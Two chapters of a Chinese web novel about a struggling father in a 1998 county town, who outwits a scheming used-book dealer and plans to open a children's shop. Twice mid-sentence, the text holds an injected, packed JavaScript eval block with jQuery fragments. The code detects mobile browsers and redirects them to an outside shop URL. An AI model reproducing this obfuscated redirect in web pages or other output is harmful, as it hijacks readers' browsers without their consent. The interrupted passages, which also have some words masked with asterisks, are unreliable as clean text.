懂行的人都知道,刘继卣是连环画界的“泰斗”,他画的《鸡毛信》《东郭先生》,笔触细腻,人物鲜活,连海娃衣服上的补丁都透着股灵气。
在收藏圈里是硬通货,尤其是六十年代的版本,更是一价难求——去年省城的旧书市场上,一本品相差不多的,卖了十二块,够普通工人半个月的工资了。
钱老西的眼睛瞬间亮了下,像被火星烫了似的,瞳孔缩了缩——他入行三十年,什么样的老书没见过。
一眼就认出这是1965年版的《鸡毛信》,品相还这么好,至少能卖十块钱,要是遇到喜欢刘继卣的收藏者,卖十五块都有可能。
但他很快压下了眼里的光,假装随意地翻着内页,纸页“哗啦”响,声音却比刚才轻了半分,连手指捏书的力度都放软了——
他怕捏出印子,影响卖价,心里还在盘算着怎么用最低价把书弄到手。
“这本……马马虎虎吧,刘继卣画的,还有点看头。”
他故意说得漫不经心,烟袋锅子在手里转了圈,指关节都发白了,“这种的,你表叔也要?”
林凡心里有数了——这老狐狸果然识货。
他故意露出懵懂的表情,眨了眨眼,像个刚进城的乡下娃,眼睛里满是好奇:
“刘继卣是谁啊?我不懂这个,就觉得画得挺好看,海娃的眼睛画得真精神,跟活的似的。
表叔说,画得好、年代老的都要。
这本是我从乡下一个老教师家里收的,他说这书跟他儿子一般大,快三十年了,我磨了半天,给了他一毛钱呢!
当时还觉得亏了,想着要是给笑笑买糖,能买十块水果糖了。”
他特意把“一毛钱”说得重了点,还带着点“觉得自己花多了”的心疼——
仿佛那不是一毛钱,是一块钱,是笔大开销。
其实他心里清楚,上个月在省城的旧书市场,有人就卖过本一模一样的《鸡毛信》,品相还没这本好,都卖了十二块;
要是放到十几年后,品相好的能卖上千元,甚至更高——表叔上次打电话时特意跟他说:
“老版连环画以后肯定会涨,你多收点好的,留着给笑笑当嫁妆都够,到时候让她风风光光的。”
“一毛钱?你呀,还是年轻,没见过世面。”
钱老西摇摇头,嘴角带着点不屑,烟袋锅子在小马扎的铁架上敲了敲,敲出点火星子,火星子落在地上,很快就灭了,
“这种书,品相差成这样,也就值个几分钱,你还花一毛钱买,这不冤大头吗?
这样吧,看你也不容易,带着个孩子还跑乡下,风吹日晒的,这本我拿回去试试,
要是有老主顾要,给你两毛钱,怎么样?
你也算赚了一毛,没白跑一趟,还能给孩子买块糖吃。”
两毛钱?
林凡心里冷笑——这老东西真是把他当傻子耍,十块钱的东西,只给两**,算盘打得真响。
可脸上却露出惊喜的神色,眼睛亮得像刚点着的煤油灯,连声音都提高了点,带着点激动:
“两**?那我不是赚了一毛?这……这多不好意思啊,让您吃亏了……可是……表叔那边要是问起来,我咋说啊?
他特意嘱咐我,要找‘小孩送信’的书,说这种书少见,让我留着给他……”
“哎呀,一本两本的,你表叔哪记得清?”
钱老西不耐烦地摆摆手,打断他的话,伸手就要把书往怀里揣——动作比刚才快了不少,像怕林凡反悔,手指都有点抖,他怀里的衣襟都撩起来了,露出里面的白布汗衫,上面还沾着点烟丝,是刚才填烟时蹭上的。
“就这么定了!我先拿回去看看,卖出去了给你送钱来,亏不了你!你放心,我钱老西做生意,最讲信用!”
“等等!钱老板!”
林凡赶紧叫住他,脸上做出挣扎的样子,像个被难题困住的学生,手都有点抖——一半是装的,一半是真的紧张,怕钱老西硬抢。
他腾出一只手,从箱子里翻出几本更破的《地道战》《**战》——《地道战》的封面画着几个战士在地道口张望,右上角撕了个口子,连战士的帽子都没了,只剩下个模糊的轮廓;
《**战》的内页少了两页,是中间讲“造**”的关键部分,边缘还卷得厉害,像被水泡过又晒干的样子,摸起来硬邦邦的。
他把这几本书递过去,语气带着点恳求,还带着点不好意思:“要不……您看看这几本?这几本也有画儿,就是破了点……
这本《鸡毛信》我还是先给表叔吧,他要是知道我卖了,该说我不守信了,以后不帮我了……您要是不嫌弃,这几本拿回去试试?
卖多少钱都行,我不挑,就当谢谢您来照顾我生意。”
钱老西的脸色顿时沉了下来,像被泼了盆井水,凉得透透的,连眼角的皱纹都绷直了。
他手指捏着《鸡毛信》的力度大了点,纸页都被捏出了印子,像老树皮上的褶,边缘都有点卷了。
他冷冷地看了林凡一眼,眼神里的算计和不满藏都藏不住,像淬了冰的刀子,直扎林凡的眼睛,连声音都冷得像冬天的风:
“哼,一本破书,还当宝贝了?真是头发长见识短!给你机会赚钱你都不要,活该你守着这破棚子!”
他把书狠狠扔回箱子里,“啪”的一声,比刚才还响,震得箱子里的其他书都跟着晃了晃,有几本差点掉出来。
“行,你留着孝敬你表叔吧!我看你这生意,也做不出什么大名堂!”
说完,他冷哼一声,推着三轮就往外走。
车轮碾过地面的声音格外响,像在发泄不满,震得棚子的木板都跟着颤,货架上的橡皮盒子都“哗啦”响。
走到棚子门口时,他还回头瞥了眼那个纸箱,眼神里的不甘像只没偷着鸡的狐狸,亮得吓人——
显然是不甘心就这么空着手走,心里还在琢磨怎么把那本《鸡毛信》弄到手,说不定明天就会让收废品的老张来探口风。
看着钱老西的背影消失在巷口,拐进张记油条铺的方向——
张师傅正把炸好的油条捞出来,油星子溅得老高,落在铁锅里“滋滋”响,还冒着白烟——
林凡才长长舒了口气,那口气里带着股子紧绷后的松弛,连肩膀都垮了下来。
后背的汗像刚从水里捞出来似的,衬衫紧紧贴在背上,风一吹,凉丝丝的,像有条小蛇在爬,难受得他想挠,可怀里抱着笑笑,只能忍着,手指还轻轻拍着孩子的背,怕她被刚才的动静吓醒。
他低头看了看怀里的孩子,笑笑已经睡着了,小眉头还皱着,像是在梦里也在怕,嘴角却微微抿着,不知道是不是梦到了她高兴的事了。
刚才那番应对,看似笨拙,实则步步为营——
既没暴露真正的珍品,又没彻底得罪钱老西这个地头蛇,还坐实了自己
“不懂行、只为亲戚孩子”的人设,算是把这关混过去了
。
王猛在旁边的货架后看得云里雾里,这会儿才凑过来。——
棚子的东南角漏雨,是因为石棉瓦裂了道缝,王猛从汽修厂拿了块旧橡胶皮,剪成和石棉瓦一样大的形状,用钉子钉在上面,还在边缘涂了点沥青,说“这样至少能管到明年夏天,下雨你就不用搬东西了”。
此刻他手上还沾着点水泥灰,指甲缝里黑乎乎的,是刚才帮林凡加固货架时蹭的,裤腿上还沾着点沥青,硬邦邦的。
“凡子,这老家伙谁啊?叽叽歪歪的,不就一本破书吗?给他呗,两毛钱呢!够买两包‘经济烟’了,还能给笑笑买块水果糖,她不是一直想吃吗?”
林凡摇摇头,把笑笑往怀里抱了抱,轻轻拍着她的背,动作温柔得像怕碰碎了瓷娃娃。
“猛子,没那么简单。这人是西街‘聚宝斋’的钱老西,干旧书行几十年了,什么书值钱他门儿清,是县城出了名的老狐狸。
去年有个姓赵的小贩,不懂行,把一本1958年的《西游记》以两块钱卖给了他,结果他转手就卖了五十块,坑得那小贩蹲在聚宝斋门口哭了半天,钱老西连门都没开。”
他顿了顿,指了指那个纸箱,声音压得低了点,怕吵醒笑笑,“那本《鸡毛信》,现在找对了收藏的人,至少能卖十块,他只给两**,就是想坑我。
要是给他了,他下次肯定还来要,没完没了,甚至会盯着我的货源,到时候咱们连收书的路都被堵**,不能因小失大。
以后见着他,客气点,但咱们收的书,不能随便给他看,尤其是好的,得藏好了。”
王猛似懂非懂地点点头,蹲下去帮着把散在外面的书往箱子里收。
他的动作很轻,手指捏着书脊,小心翼翼的,像怕捏坏了似的——虽然他不懂这些书的价值,但他知道林凡看重,就跟着小心,连掉在地上的纸屑都捡起来,放进箱子里。
“搞不懂你们这些读书人,一本破书还这么多门道,比我修三轮还复杂。”
他嘟囔了一句,声音压得很低,把那本《鸡毛信》重新用报纸包好,放回箱子最底下,还特意往上面压了本《地道战》,怕被人看见,又用旧蓝布把箱子盖好,布角都捋得平平整整的。
钱老西的试探暂时过去了,可林凡知道,这只是开始。
他大量收连环画的事,已经像风似的吹进了县城的旧书行,除了钱老西,肯定还有其他行家在盯着他——
比如北街开“文轩阁”的老陈,那人比钱老西还精,据说连书的版权页都能背下来,哪年哪月印刷的,印了多少本,都门儿清;
还有南街的“旧书摊”老李,平时看着和气,其实也爱抢生意。
以后怕是少不了这样的“试探”,甚至可能有更狠的角色找上门——
比如那些靠强买强卖为生的混混,或者其他想垄断货源的书商。
而更让他揪心的,是黑皮的威胁。
李干事的警告只能管一时,那伙人闲得没事干,迟早还会来闹,总不能每次都靠运气等李干事路过。
上次黑皮拍货架
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607483|187589||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的时候,笑笑吓得直哭,抱着他的脖子喊
“爸爸,我怕,我们回家吧”,
现在想起来,林凡的心还像被揪着似的疼——他这个当爹的,连保护孩子都做不到,算什么父亲?
那天晚上,笑笑还做了噩梦,哭着喊“坏人别过来”,他抱着孩子哄了半宿,才让她睡着。
笑笑生病的事更是敲了警钟:他必须尽快给孩子一个更安全、更稳定的环境,不能再让她跟着自己在这破棚子里担惊受怕。
这棚子夏天漏雨,去年雨季时,雨水都漫到了脚脖子,他抱着笑笑蹲在货架上待了半宿,孩子的鞋子都泡湿了,第二天就感冒了;
冬天漏风,笑笑的小手冻得通红,连笔都握不住,上次想写“爸爸”两个字,结果笔掉在地上,她哭着说
“手不听使唤,爸爸我是不是很笨”;
孩子生病,只能挤在急诊室的硬板凳上,连个坐的地方都没有,看着别的孩子有爸爸妈妈陪着,还有暖水袋,笑笑却只能裹着他的旧外套——
他这个当爹的,太不称职了,连给孩子一个安稳的家都做不到。
晚上,哄睡笑笑后,林凡坐在灯下。
桌上的台灯是他从废品站淘的,塑料外壳都发黄了,灯泡只有25瓦,昏黄的光只能照亮半张桌子,连桌角的灰尘都看不清楚。
存折摊开在桌上,四万七千六百三十五块的数字在灯光下泛着光。这是他翻身的钱,每一分都带着汗味,甚至还有眼泪的味道。
这钱像颗定心丸,让他心里有点底,可也像块烫手的山芋——
怎么用,才能既保住现在的生计,又给笑笑一个安稳的未来,他得想清楚,一步都不能错。
他手指轻轻拂过存折的纸面,指尖触到银行盖章的红印,那红印有点硬,蹭在指尖上,像孩子软软的指甲。
心里慢慢有了主意——小打小闹的杂货摊、偷偷摸摸的连环画收藏,积累速度还是太慢,而且护不住笑笑。
是时候动用一部分钱,做更有战略性的投资了。
租个正经的门面房?
他早就打听好了,机械厂家属区的主街就有个空门面。
那主街长两百多米,铺着水泥地,比巷子里的土路好走多了;街东头是菜市场,早上五点就有人摆摊,卖菜的、卖肉的,热闹得很;
街西头是机械厂的大门,工人上下班都要从街上过——机械厂有上千个工人,大多是双职工,每个月工资稳定,家里都有孩子,消费力强,不像巷子里,大多是租房子的,手头紧。
街上现在有两家小卖部,一家只卖日用品,肥皂、洗衣粉什么的,一家只卖零食,都没卖童装和动画片光盘——
现在《葫芦娃》《黑猫警长》正火,孩子们都吵着要,县城里还没人卖正版的,都是些盗版的,画面模糊;童装也缺,现在家长都愿意给孩子买质量好的,不像棚子里卖的地摊货,洗两次就变形,领口还会缩。
那个门面有二十平米,比现在的棚子大两倍,还带个小仓库,能放货;
房东是机械厂的老工人,姓刘,头发都白了,为人实在,上次林凡去打听,他还笑着说
“我看你是个老实人,带着孩子不容易,租金给你便宜点”,
租金要一百五一个月,还能月付,不用一次性的缴押金——这对林凡来说太重要了,他手里的钱不能一下子花太多,得留着应急,万一笑笑再生病,还得花钱。
要是租了门面,就能把“笑笑宝贝屋”的招牌挂起来,用红漆写,再装个小灯箱,晚上亮起来,多显眼;正规经营,还能去工商局办个营业执照,社会身份也硬气——
黑皮那样的人,欺负个棚子里的小贩容易,可欺负有正经门面的商户,就得掂量掂量,毕竟门面房都在工商局登记过,真闹大了,警察也会管,不像现在,出了事都没人愿意帮忙。
还是……再找找其他的机会?
比如市里的小商品批发市场。他听汽修厂的王师傅说过,市里的“东风小商品批发市场”有很多批发商,都是从南方进货,价格便宜;
要是能找个靠谱的,跟人家长期合作,就能拿到更低的进货价。
比如现在卖的咪咪虾条,从县城批发商那里拿是五毛钱一包,市里可能只要四**,这样一包就能多赚一毛,一个月卖两百包,就能多赚二十块,够给笑笑买两本新绘本了;
还有糖果、橡皮这些小零食,差价也不小,积少成多,也是一笔收入,还能把杂货摊的生意做大点,多进点孩子们喜欢的东西,比如卡通贴纸、小玩具,吸引更多人来买。
或者,趁着现在连环画还便宜,再去周边的乡镇多收点?
在自己的记忆中:“老版连环画的收藏行情正在慢慢涨,尤其是五十年代、六十年代的版本,现在没人当回事,
再过十年八年,肯定会升值,到时候翻十倍都有可能。”他记得前世见过表叔带来的一本1955年版的《大闹天宫》,品相完好,还是彩色的,表叔说“现在能卖五十,再过十年,至少能卖五百,说不定还能卖一千”。
要是现在多收点好货,比如《三打白骨精》《鸡毛信》这样的,好好存着,再过几年,一本就能卖上千块,足够给笑笑在县城买套小房子,一楼带个小院子,让她能在院子里玩,不用再挤在漏雨的筒子楼里,冬天也不用冻手了。
窗外的夜风卷着沙尘,吹得窗棂“呜呜”响,像个受了委屈的孩子在哭,还带着点哨音。
风里还带着隔壁包子铺剩下的面香味——张师傅家的包子是县城出了名的,猪肉大葱馅的,每天早上都排队,晚上收摊时,面香味还能飘到巷子里——
混着巷尾垃圾桶的酸臭味,怪怪的,却透着股真实的烟火气。
林凡把存折合上,手指捏得发白,纸页都被捏出了印子,边缘都有点卷了——
他知道,下一步棋至关重要,一步错,可能连这破棚子都保不住,更别说给笑笑一个安稳的家。
他得在这场风雨真正砸下来之前,
为自己和笑笑筑起一座足够坚固的堡垒。
而这座堡垒的砖,
就藏在这本薄薄的存折里,藏在他对未来的判断里,
藏在他作为父亲的责任里——
只要能让笑笑过得好,再苦再累,他都愿意。
灯光下,他的影子映在墙上,像棵挺拔的树,
稳稳地立着,再也没有了白天的疲惫——
为了笑笑,他必须站直了,不能倒,也不会倒。
第十八章:破局之思
钱老西临走时那道眼神,像根淬了油的细刺,扎在林凡心里拔不掉——
前几天这老东西还堵在棚子门口,枯瘦的手指摩挲着袖口磨白的布扣,声音尖细得像刮铁皮:
“摆摊也得交管理费,这是规矩。”
伸手就从林凡刚赚的零钱里抽走了三十块。当时笑笑正抱着块草莓味橡皮蹲在旁边,小身子一缩,吓得把脸埋进林凡洗得发皱的蓝衬衫里,指尖还紧紧攥着橡皮的一角,生怕被人抢走。
旁边卖袜子的刘婶偷偷拽了拽林凡的衣角,嘴型比着“别犟”——上个月街口有个卖糖葫芦的摊主拒交“管理费”,转天棚子就被泼了半桶泔水,串好的糖葫芦全裹了馊味,最后只能推着车哭着走了。
后半夜林凡醒过来,窗外的月光漏进棚子,照得地上的水泥缝都清晰可见。
笑笑蜷在他怀里,小脸蛋蹭着他衬衫的衣角,鼻息间还带着傍晚喝的橘子水的甜香,睫毛在眼下投出浅浅的阴影。
他又想起钱老西那道目光:像暗夜里盯粮囤的老鼠,绿莹莹的光裹着贪劲,直勾勾地盯着他床底藏连环画的木箱——
去年钱老西就曾趁他去市里进货,偷偷翻过那箱子,还捏着本缺页的《大闹天宫》嗤笑:“这破烂也值当藏?”
当时林凡回来发现木箱被动过,气得攥紧了拳头,却只能把火压在心里——他没靠山,惹不起钱老西这种“地头蛇”。
倒是笑笑病愈后平稳的呼吸,像浸了温水的棉巾,轻轻擦去他眉头上的焦气,却也让他更清醒:这破棚子就是片漏雨的屋檐,连挡风都费劲。
黑皮上周踹门的闷响还在耳边转——那天傍晚他正给笑笑煮挂面,清水刚烧开,面条刚下进去,黑皮就带着两个跟班撞了进来。
木板门“哐当”一声撞在墙上,震得棚顶的灰都掉下来,锅里的面条洒了半锅,溅在地上烫出一个个小白点。
笑笑攥着小筷子的手都在抖,眼泪在眼眶里打转,却不敢哭出声。
黑皮却指着货架上的塑料玩具,吊儿郎当地说:
“借五十块花花,下周还你。”
林凡知道这“借”就是肉包子打狗,可他看着黑皮攥着拳头的样子,只能从床板下摸出仅有的四十块,黑皮嫌少,又从货架上抓了个玩偶才走。
钱老西的试探更像慢刀子割肉,今天要“管理费”,明天说“卫生费”,后天又编个“治安费”的由头,每次十块二十块,积少成多也不是小数目。
这些不过是先头雨,要是再缩着不挪窝,迟早要被这些麻烦淹了——他见过有摊主被这些人缠得没法,最后只能收拾东西回老家,连本钱都没赚回来。
月光从筒子楼的破窗棂漏进来,碎成一地银渣,落在桌上的硬壳笔记本上。
这本子是他去年在废品站淘的,封面还印着“国营百货公司”的旧标,边角磨得发毛,他用透明胶带粘了好几次。
林凡轻轻摸着笑笑温热的额头,指尖蹭过她柔软的胎发,生怕吵醒她,轻手轻脚地起身坐在煤油灯旁。
灯芯“噼啪”炸了个小火星,把他的影子拉得老长,投在斑驳的墙上,像个晃荡的剪影。
翻开笔记本,前几页记满了进货清单,字迹挤得满满当当,连页边空白处都写满了备注:
“AD钙奶20板(每板4.5元,共90元,批发商老李说下月可能涨5**,得提前囤),橡皮50块(每块0.3元,共15元,其中草莓味20块、橘子味15块、薄荷味15块,上次草莓味卖得最快,下次多进10块)”;
还有连环画的版本标注,一笔一画都透着仔细:
“1962《三打白骨精》缺封底(收于东街老李头,5元,老李说这版存世少,以后可能值钱),1973《哪吒闹海》全页(收于废品站,2元,封面有点潮,已经晒过了),1978《葫芦兄弟》(收于赶集时的老农,3元,内页完整,就是边角有点卷)”。
翻到最后一页,是“长远愿景”四个歪歪扭扭的字,下面画了个小房子,房檐上翘着两个小角,房子旁添了个圆滚滚的小太阳,铅笔印子都快磨平了——
他没事就会摸一摸这画,连纸都被摸得发毛。旁边注着一行小字:
“给笑笑一个不漏雨的家——1997.10.5,笑笑满周岁”。
那天他特意给笑笑买了个鸡蛋,煮得嫩嫩的,剥了壳喂给她,笑笑吃得满脸都是,还伸手抓他的脸,笑得咯咯响。
他指尖反复划过那行日期,又摸出压在本子下的存折——深蓝色的封皮磨出了毛边,是县农业银行的老款存折,第一页还贴着他泛黄的身份证复印件,照片上的他比现在瘦,眼神却一样亮。
翻开一看,四万七千二百元的数字在昏黄灯光下泛着光,末尾的“2”字被水浸过,边缘有点模糊——那是上次下雨棚子漏雨,他慌忙把存折往怀里塞,还是沾了点雨水。
指尖能触到印钞时的细微纹路,像捧着块烫手又舍不得放下的暖玉。
这钱来得太不容易:有他在街角摆三个月地摊攒的一千二,每天早上五点就出摊,晚上十点才收,冬天冻得手都握不住零钱,夏天晒得脱皮;
有卖祖传的半块玉佩得的三千,那玉佩是他妈留给他的,上面刻着朵莲花,他犹豫了半个月,最后还是咬着牙卖给了县城的古玩店;
更多的是这两年省吃俭用抠出来的——每天早饭就啃半个凉馒头,中午在批发市场啃自带的咸菜饼,连五毛钱一碗的豆腐脑都舍不得买;
笑笑的衣服都是捡邻居家孩子穿小的,洗得发白了还补着补丁,唯一一件新的是去年过年买的小红袄,到现在还叠在箱子底,舍不得穿。
这钱既压着他想把生意做大的野心,也托着笑笑冬天能穿暖、夏天不淋雨的希望。
这钱在1998年的县城,够买半间小瓦房——上个月西街王大爷卖了间15平的老瓦房,总价九万二,四万七刚好够一半;
可放在银行里,年利率才2.75%,算下来一年利息还不到一千三百块。更别说物价还在涨,去年冬天买一斤白菜要8分钱,今年就涨到1**1,涨了近四成;
笑笑爱喝的橘子水,去年一瓶2**,今年也涨到2**5。钱要是一直放着,只会跟着物价慢慢缩水,像晒在太阳下的水,不知不觉就少了。
他得让钱“活”起来,变成能遮风挡雨的门面,变成笑笑不用再听着漏雨声睡觉的底气。
租个正经门面房的念头,像春天里拱破冻土的芽,之前也冒出来过几次,可都因为怕风险缩了回去,这次冒出来时,根须都扎得扎实——
比上次光想想,多了几分破釜沉舟的劲。他把笔记本摊开,笔尖在纸上轻轻划着,把好处一条条理出来,字里行间都裹着盼头:
一、安全得靠实墙撑
有正式合同的门面,可比棚子硬气多了。
上次黑皮踹棚子的闷响还在耳边转,木板晃得笑笑直哭,他当时攥着榔头却不敢动——怕闹大了连棚子都保不住,到时候连摆摊的地方都没有。
可要是有了门面,工商执照贴在墙上,红章亮堂堂的,再挂个“个体工商户”的铜牌,黑皮再敢胡来,就得掂量掂量派出所的传唤单。
上个月邻街开杂货店的老吴,就因为有人砸店报了警,警察来了直接把人带走,罚了两百块,还让对方赔了店里的损失。
老吴后来跟他说:“有了正经执照,腰杆都能挺直了,不像摆摊时,见了谁都得陪着笑。”
而且门面还能装部座机,线一拉,有事拨个号就能找街道李干事,不用像现在这样,只能攥着榔头在棚子里等,连个能求助的人都没有。
上次棚子漏雨漏得厉害,他想找街道帮忙修,可连个电话都没有,只能冒雨跑去找李干事,等找到人时,浑身都湿透了。
二、生意能往大里做
二十来平的地方,比棚子宽绰三倍——
现在的棚子才6平,货架只能摆一排,孩子多了连转身的地方都没有,有次两个孩子抢玩具,还把货架撞倒了,摔碎了好几个塑料玩偶。新门面的货架能摆三排,除了玩具、橡皮,还能进儿童衣裳。
他早就打听好了,要选新疆长绒棉的衣裳,摸着软乎乎的,吸水性还好,孩子出汗了也不粘身子,比化纤的舒服。
上次在市里进货时,批发商说这种衣裳上个月卖了两百多件,比其他材质的多卖一倍。
衣裳上要印“熊猫盼盼”的图案,去年亚运会后,“熊猫盼盼”特别受欢迎,上次有个妈妈就问他有没有印盼盼的衣裳,说孩子吵着要。这种衣裳一件能卖15块,比化纤的贵5块,但家长都愿意为孩子花这个钱。
再进两排小鞋子,
鞋底是软橡胶的,鞋头缝着防撞的布,孩子穿着不硌脚,一双卖8块,比棚子里的塑料凉鞋耐穿多了——现在卖的塑料凉鞋,有的穿半个月就断底了,家长虽然不说,但下次就不来了。
甚至能在角落隔个小间,摆个煤炉煮橘子水,加两勺冰糖,熬得稠稠的,一杯卖5毛钱;
再进点县食品厂做的鸡蛋糕,一块钱两个,蓬松又香甜。
家长带着孩子来,能坐下来歇会儿,比站在棚子外吹风舒服,自然愿意多花钱。
上次有个妈妈带孩子来买橡皮,孩子闹着要喝水,她只能抱着孩子去远处的水龙头接,回来时孩子都哭了。要是当时有橘子水,说不定她还能多买个玩具,甚至再买块鸡蛋糕。
三、日子得让孩子舒坦
要是门面带个小阁楼,就能带着笑笑搬出这筒子楼了。
这楼漏雨时,接水的搪瓷缸子总在半夜“嗒、嗒、嗒”响,漏雨的地方就在床头上方,有时候雨水溅到枕头上,笑笑的小被子边缘都潮了。
她缩在他怀里说“爸爸,冷”的声音,像根针总扎他心口。墙皮掉渣能埋住鞋跟,扫完第二天又掉一层,笑笑的小袜子上总沾着白灰,每天晚上洗脚,盆里都能沉下一层灰。
换个亮堂地方,窗户大,阳光能照进屋里,笑笑
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607484|187589||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
能在地上铺张纸画画,不用总缩在角落里。
上次她想画太阳,铅笔刚拿出来,墙皮就掉在纸上,把画都弄脏了。
笑笑当时小嘴一撇,眼泪在眼眶里打转,却没哭,只是把脏了的画纸折成小方块,塞在口袋里,晚上偷偷拿出来看,还跟林凡说“爸爸,等咱们有新家,我要画好多好多太阳”。
四、腰杆得凭着底气直
从“摆摊的”变成“开店的”,旁人看他的眼神都不一样。
上次去市里进货,批发商老李看他拎着个破布包,连好货都不愿拿出来,只把压箱底的旧玩具给他,说“你这摆摊的,卖贵了没人要”。
要是有了店,他能提着印着“笑笑宝贝屋”的帆布袋子去,批发商说不定能给个批发价——
比如AD钙奶,现在拿价4.5元一板,有店的话能降到4.2元,一箱20板就能省6块,一个月进10箱就能省60块,一年就是720块,够给笑笑买好几件新衣裳了。
跟工商、税务打交道,也不用再缩着脖子。
上次工商来查棚子,他递烟都没人接,人家只是皱着眉说“下次赶紧办手续”;
可人家看他是“正经商户”,说话都能多几分客气。上个月老吴去办营业执照,工商的人还跟他聊了会儿进货的事,说“最近儿童用品好卖,你可以多进点”,还提醒他注意保质期。
可笔尖顿在纸上,风险也像影子似的跟过来,甩都甩不掉。
五千块拿出去,像从心窝子里剜肉——这是他和笑笑攒了小半年的底气,一分一厘都浸着汗。
租金一年一千一,押金三百,装修要一千五(刷墙买石灰、腻子得两百,石灰得选县建材厂的,一袋五块,两袋就够,腻子一袋八块,一袋能补不少缝;
找木匠打货架要八百,张师傅上次修棚子的货架,收费便宜,一天五十,打三排货架最多两天;
铺水泥地面得五百,水泥一袋八块,最少要六袋,还得买沙子,一方沙子二十块),首批进货要两千一,加起来正好五千,流动资金一下就薄了,只剩床板下铁盒里的八百六十三块,还是他平时省下来应急的。
店开起来,目标也大了,税务的人会常来查账——1998年个体户每月交二十块定额税,要是营业额超了五千,还得按3%补税。
他算了算,要是每月卖五千块,就得交一百五十块税,比棚子的摊位费多了十多倍。
卫生的也会来瞅一眼,要是没挂健康证、地面有灰,一次就罚五十,上次老吴就因为地面没扫干净,被罚了二十块。
黑皮、钱老西说不定会更盯紧,觉得他“赚了钱”。
之前每月要五十“管理费”,现在说不定要一百,甚至更多。要是不给,他们说不定会来店里捣乱,比如把货架推倒,或者吓跑顾客——
上次有个摊主开了店,地痞就天天来“串门”,最后没办法,只能每月交“保护费”。
万一生意不好,租金、水电(每月电费十五,水费八块)像无底洞,比棚子亏得快多了。
棚子每月就交十块摊位费,亏了最多把货清了,损失也不大;可店要是亏了,不仅租金得赔进去,装修的钱、进货的钱也都打了水漂,到时候连给笑笑买吃的钱都可能没有。
林凡盯着纸上的“安全”“孩子”两个词,指尖把纸都捏出了褶,纸边都快被指甲抠破了。
这时,里屋传来笑笑的梦话,“爸爸,要糖”的小奶音飘进耳朵里,软乎乎的——
昨天她看见隔壁小孩吃水果糖,橘色的糖纸闪着光,眼馋了半天,一直盯着人家的手,却没跟林凡要。
林凡问她想不想吃,她摇了摇头说“爸爸赚钱辛苦,不吃”,他没舍得买,只答应她“等爸爸赚钱了给你买一大罐,各种口味的都有”。
他突然就下了决心——不能因为怕摔,就不敢学走路。
他比别人多着十几年的见识,知道以后家长对孩子的花销会越来越大方。
去年县城新生儿比前年多了两百多个,县医院的妇产科都加了床,儿童用品肯定会越来越吃香。
要是连开个小店都畏首畏尾,怎么给笑笑攒下未来?
怎么让她不用再受委屈?
他拿起铅笔,在笔记本上重重写下两个字,墨都透了纸背:干了!
第二天一早,天刚蒙蒙亮,东边的天空才泛出点鱼肚白,远处的鸡刚叫第一声,林凡就叫醒了王猛。
王猛住在棚子后面的小隔间里,铺着稻草和旧棉絮,被子是林凡穿过的旧外套改的,又薄又硬。
听见动静,王猛揉着眼睛坐起来,头发乱得像鸡窝,眼角还挂着眼屎,嘴里嘟囔着
“凡子,这么早干啥”。
“猛子,今天你多盯会儿棚子,我带笑笑出去转转,看看有没有合适的地方。”
林凡递给他一个热馒头——
是昨天张婶给的,张婶儿子在外地打工,
平时总接济他们,这个馒头他没舍得吃,用布包着揣在怀里,还带着点温度。
第十九章 计划门面
王猛正蹲在地上擦玻璃柜,柜面上还沾着昨天孩子留下的糖渍,黏糊糊的。
闻言直起腰,拍着胸脯应下:
“放心!有我在,别说丢东西,黑皮来了我都能拦着!
上次他想抢你那本《三打白骨精》,不是我跟他掰扯半天吗?”
说着还攥了攥拳头,胳膊上的肌肉鼓了鼓——
王猛以前在工地上干过,力气大,黑皮上次看他横,没敢硬来。
林凡抱着笑笑出门时,
她还没睡醒,小脑袋靠在他肩膀上,小胳膊搂着他的脖子,
呼吸均匀得像小鸽子,温热的气息吹在他脖子上,痒痒的。
两人慢悠悠逛着县城的街,街上刚有早点摊出摊,
炸油条的“滋滋”声混着油条的香味飘得老远,还有卖豆浆的推着小车,
吆喝着“热豆浆——五毛钱一碗”。
林凡假装带孩子看风景,眼睛却像扫描仪,扫过每一条街道,连角落里的小门面都没放过。
市中心他绕着走——
那里的门面租金一年要两千多,还挤得慌,旁边都是卖家电、服装的大店,装修得亮堂堂的,他这小生意进去,根本没人注意,说不定还会被大店挤垮。
太偏的巷也不看——比如北巷,下午三点就没太阳,街上连个孩子的影子都没有,大多是卖五金、建材的店,做儿童生意肯定不行;
南巷虽然人多,但都是卖菜的,又吵又脏,家长肯定不愿意带孩子去。
转到县中心小学附近时,风里突然飘来孩子的笑声,还有放学铃“叮铃铃”的响——
原来正好是小学早自习下课,低年级的孩子出来活动。
他抬头一看,这条街不算宽,也就两米来宽,却围着三个家属院:
县教育局家属院有120户,县医院家属院150户,县纺织厂家属院200户,光这三个院的适龄孩子就有七八十个,加上小学里1-3年级的学生,潜在顾客至少有两百多人。
墙上刷着“好好学习,天天向上”的标语,红漆掉了些,却还醒目。
放学铃刚响,穿蓝校服的孩子像小麻雀似的涌出来,家长拎着菜篮子跟在后面,偶尔停下来买根冰棍(五毛钱一根,奶油味的最受欢迎,上次他看一个孩子买了,舔得满脸都是),烟火气裹着风往鼻子里钻。
街上有文具店(只卖作业本和钢笔,没有玩具和儿童衣裳)、小吃铺(卖包子和粥,早上人多,中午就冷清了)、理发店(只给大人理发,不给孩子剪),
唯独没有一家专门卖儿童用品的——这不就是他要找的“空白”?
